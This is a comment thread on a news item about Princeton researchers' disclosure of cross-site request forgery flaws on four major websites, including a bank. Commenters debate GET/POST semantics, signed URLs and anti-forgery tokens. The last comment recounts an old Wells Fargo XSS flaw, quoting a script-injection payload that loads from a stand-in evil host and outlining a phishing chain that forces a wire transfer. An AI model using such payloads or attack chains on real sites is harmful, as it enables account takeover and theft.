CSRF Flaws Found On Major Websites, Including a Bank

An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).

Computer systems need security audits.

Just as a responsible institution has an independent auditor come to inspect their financial books for correctness, so should a responsible institution do with its computer systems and network security. The two are different only insofar as financial accounting is different from computer administration, but the need to audit both is equally pressing. This story serves as yet another example of the necessity for such things.

Re:Computer systems need security audits.

The problem isn't really that flaws were found, but that NYTimes refused to change them. If you look in 2600, you will see that even when hackers have posted step-by-step guides to 0wning S3rv3rs, the businesses just claim that it is supposed to be like that, or never getting around to fixing them.

Re:Computer systems need security audits.

Repeat after me boys and girls "GET requests shouldn't change anything on the server".

Re:

There are ways to safe GET requests. Unnecessarily avoiding the use of GET results in web sites that are not bookmarkable and where users can't provide links to their friends. So "hey check this out" and pasting a link becomes "hey check this out go to the main page, click here, then there, then on the other thing, then scroll down a bit to find the item in the list and then its halfway down that page".

Re:Computer systems need security audits.

I didn't say anything about not having GET, I was talking about safe GET requests. Obviously it's OK to have a link to your user profile/picture gallery/&c. What is a bad idea is a link that will add someone as a friend or delete a picture, you get the idea.

Re:Computer systems need security audits.

GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

What they should do is sign urls (at least for significant stuff), so you can't just iframe a static url, you have to guess the correct url - which should change at least on a per session basis.

e.g. instead of http://slashdot.org/my/logout it should be something like http://slashdot.org/my/logout?salt=123955813&sig=01af85b572e956347a56

Where sig=sha1(concat(user session,salt,site secret,site time in hours))

If sig doesn't match, you try to see if sig matches the time that rolled over:
sig=sha1(concat(session,salt,site secret,site time in hours-1))

user session = random string+primary key.

For stuff that should not be resubmitted, you use another param to enforce that.

Re:Computer systems need security audits.

While GET does in practice change stuff on the server, the idea is that it should be repeatable without adverse effect.

So, calling GET on a document might increase a hit counter, or update some other information - having me repeatedly call that function again should be safe.

However using GET for Updating Account Details, or Moving money (just some purely /random/ examples) is just plain bad design.

The example of signing GET requests is useful in some situations, but *mostly* not necessary if the design is right.

Re:Computer systems need security audits.

GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

... CSRF exploits are not the reason that GET requests shouldn't change anything on the server. Implement all of your secret one time link programs, but you'll be disappointed when someone using an 'internet accelerator' that pre-fetches pages comes by and illustrates the reason that GET ought to be separate from POST...

Re:Computer systems need security audits.

The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything. For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

Re:Computer systems need security audits.

GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

I agree that the "click OK to resubmit form" messages are annoying - and dangerous, because your average user has no idea what the message means, or what the implications might be of clicking OK.

Fortunately, there is an extremely simple paradigm that works beautifully:

1. When an HTTP request is going to change something on the server, make it a POST request.
2. The server receives the POST request, and updates internal state, etc. When it is finished handling the internal changes (either successfully or not), it does NOT print an HTML page. Instead, it prints a REDIRECT message telling the web browser the next page it should GET. (You're the author of the web app, so you can build whatever ultra-specific URL you want here.)
3. The web browser GETs the specified page and displays it, showing whatever HTML you deem to be appropriate as the result of the POSTed change.

At the conclusion of this interchange, the user's browsing history only contains the GET page that was displayed before the POST, followed by the GET page showing the results. They can freely use their forward and back buttons to navigate within their history with no ill effect, and they will never see a "resubmit form?" question from their browser.

I use this paradigm 100% of the time. You receive tremendous benefits by respecting the documented/intended behavior of GET/POST (e.g. no problems with caching or prefetch, and when a user intentionally resubmits a POST operation it will truly be resubmitted to the server), without the painful "resubmit form?" redux.

Er... this stops nothing

Changing GET to POST does not, in any way shape or form, protect you from a CSRF attack.

If you think it does and have been doing this on your own site or projects, you have some more research and work to do.

All changing GET to POST does is make it a tiny bit harder for Joe n00b hacker. But anyone with half a clue knows how to use JS to do CSRF using POST requests.

Why is it that...

Why is it that some business even when notified of a major security risk either say that it is functioning normally or not patch the thing right away? Do some businesses not have sysadmins or what? If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action.

Re:

"If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action."

Except another recent E-mail says that your job just has been outsourced and you have five minutes to clean out your desk. Happy fixing.

Hanlon's Razor

I think Hanlon's Razor [wikipedia.org] is in play here.

Never attribute to malice that which can be adequately explained by stupidity.

Don't assume these people don't care or don't want to fix it. CSRF is in the class of "WebAppSec" (what the kids call it these days) that is not "syntactic" in nature; meaning that you cannot just say "here, use this API and you're safe". It's a "semantic" problem; the developer has to both understand "how" sensitive transactions can be abused AND "how" these transactions can be fixed (like with a nonce [wikipedia.org]).
It's probably just that they don't know how to do it, at least not manageably on an average budget.

Re:Why is it that...

Because many (most?) large organizations have so many layers of bureaucratic red tape to cross that it's extremely difficult to ever get anything done quickly. Here's an example of what was involved in installing a vendor's security patch in a company I used to work for.

We'd have to test the changes in a sandbox environment and engage all stakeholders of all systems that even remotely touched the app. They would have to buy off on the change entering the development environment. Time spent here: 1-5 days depending on approvals.

We'd schedule a move to dev and immediately work with the help desk (to update their documentation--needed or not), and work with packaging teams to "productize" the change (which mind you, was often a simple configuration change or an installer from a vendor). We'd test the new rerolled installer and if it looked ok request buyoff from all stakeholders after they performed their tests. We'd request to move to the integration testing environment if all looked good. Time spent here: 2-6 weeks depending on approvals and packaging issues.

In the integration testing environment disgruntled test lab system administrators got involved. They'd work with the deployment teams to install the packages, but only during certain scheduled times that both the admins and the software deployment groups agreed to. Again we'd need buy off from all stakeholders after they did full regression tests to get past this gate. Any problems meant you went back to Dev. Time spent here: 2-4 weeks depending on approvals and scheduling.

Leaving integration testing you reach the user acceptance environment. Here the same disgruntled system administrators would be involved and the process was pretty much the same as in the integration testing environment. Except now instead of just stakeholder buy off you'd need to get buy off from the performance testing teams. If they gave a thumbs up, you'd have to work on scheduling focus groups with small subsets of real end users. Time spent here: 2-6 weeks depending on approvals.

Now, if the planets were correctly aligned and you said all your prayers, you would then have the opportunity to schedule a move to production. This usually results in at least a 1 week delay. In production, the people who know how things work are not allowed to touch anything due to various regulatory requirements and separation of duties. So in production, you deal with a different set of disgruntled systems administrators and a variety of production control operators. These are completely different guys than the ones in the test lab. They are incapable of doing anything except for exactly what you specify in an "engineering packet" which details in obscene detail exactly what needs to be done. Think of the level of detail you'd have to provide to a 10 year old with ADHD. Before working with them you'd go to the "change review board" which meets once a week, and if you were lucky and got all your forms filled out correctly you'd get a time slot to have those admins and operators push your change out. They often times screwed something up so you'd be delayed at least another week. Time spent getting into production: 1-5 weeks.

It was truly fucked, but seems to be the norm across all the larger organizations I've ever worked in.

Very nasty

This looks like a very nasty attack to defend against. More info:

http://en.wikipedia.org/wiki/Cross-site_request_forgery [wikipedia.org]

Very easy

Ruby On Rails has prevented this, by default, for almost a year:

http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html [rubyonrails.org]

That not only prevents against the image hack, it also prevents against things like a hidden form in an iframe.

Granted, it's still possible for you to do stupid things with GET requests, and it's possible you could turn it off entirely. But it's pretty trivial to stay safe here.

And no, there's not really going to be a sane way for browsers to protect you from this, unless you've left on all the annoying "You are about to send data over the internet!!!1!one" warnings. This is really going to be up to site admins to fix.

Re:Very easy

Ruby On Rails has prevented this, by default, for almost a year...

Nice boast, but I'll see your Ruby on Rails for almost a year and raise you a .NET viewstate for five and a half years [microsoft.com]. Go Microsoft!

Stopping CSRF attacks

[A pseudorandom token] doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

Saying that is like saying "cryptography doesn't really provide privacy, because it is subject to brute force". Of course pseudorandom tokens stop CSRF attack (when implemented properly).

Details and Examples

For anyone curious, Jeff Atwood of Coding Horror recently wrote about them [codinghorror.com] in his blog. Included are some additional details and a couple of examples.

At face value it's a somewhat obvious exploit, but still interesting.

The Cross-site request forgery FAQ

http://www.cgisecurity.com/articles/csrf-faq.shtml [cgisecurity.com]

Heh

"...four major Websites susceptible to the silent-but-deadly cross-site request forgery attack..."

I knew something smelled funny...

Transfer money where?

including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account

With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).

The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.

Big flippin deal

Any chump can transfer money out of any bank account with nothing but a fax. Try it some time. People don't do it because it's a felony and people generally don't want to go to prison.

Also, there were several CSRF attacks that came across Bugtraq in 2000 and 2001. Some of them were against banks.

Unsurprising

This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.

So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.

So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.

So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.

I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.